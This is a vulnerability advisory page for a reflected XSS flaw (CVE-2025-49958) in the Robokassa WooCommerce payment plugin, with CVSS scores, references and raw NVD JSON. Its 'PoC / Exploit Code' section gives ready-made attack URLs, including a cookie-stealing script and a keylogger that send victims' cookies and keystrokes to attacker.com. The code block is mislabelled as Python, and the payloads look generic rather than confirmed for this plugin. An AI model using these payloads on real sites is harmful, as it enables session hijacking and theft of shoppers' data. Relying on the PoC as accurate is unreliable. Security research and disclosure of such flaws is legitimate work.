CVE-2025-49958

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in robokassa Robokassa payment gateway for Woocommerce robokassa allows Reflected XSS.This issue affects Robokassa payment gateway for Woocommerce: from n/a through <= 1.8.6.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Robokassa payment gateway for Woocommerce <= 1.8.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-49958 PoC - Reflected XSS in Robokassa WordPress Plugin -->

<!-- Basic XSS Payload -->
https://target-site.com/?robokassa_param=<script>alert(document.cookie)</script>

<!-- Cookie Stealing Payload -->
https://target-site.com/?InvId=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>

<!-- Keylogger Payload -->
https://target-site.com/?OutSum=<script>document.onkeypress=function(e){new Image().src='https://attacker.com/log?k='+String.fromCharCode(e.charCode)}</script>

<!-- Using img tag for XSS -->
https://target-site.com/?shp_item=<img src=x onerror=alert('XSS')>

<!-- Using svg tag for XSS -->
https://target-site.com/?shp_order=<svg onload=alert(document.domain)>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49958
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49958
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49958/
[4] VulDB https://vuldb.com/cve/CVE-2025-49958
[5] https://patchstack.com/database/Wordpress/Plugin/robokassa/vulnerability/wordpress-robokassa-payment-gateway-for-woocommerce-plugin-1-7-3-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-49958", "sourceIdentifier": "[email protected]", "published": "2025-10-22T15:15:42.410", "lastModified": "2026-04-23T15:31:52.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in robokassa Robokassa payment gateway for Woocommerce robokassa allows Reflected XSS.This issue affects Robokassa payment gateway for Woocommerce: from n/a through <= 1.8.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/robokassa/vulnerability/wordpress-robokassa-payment-gateway-for-woocommerce-plugin-1-7-3-cross-site-scripting-xss-vulnerability?_s_id=cve", "source": "[email protected]"}]}}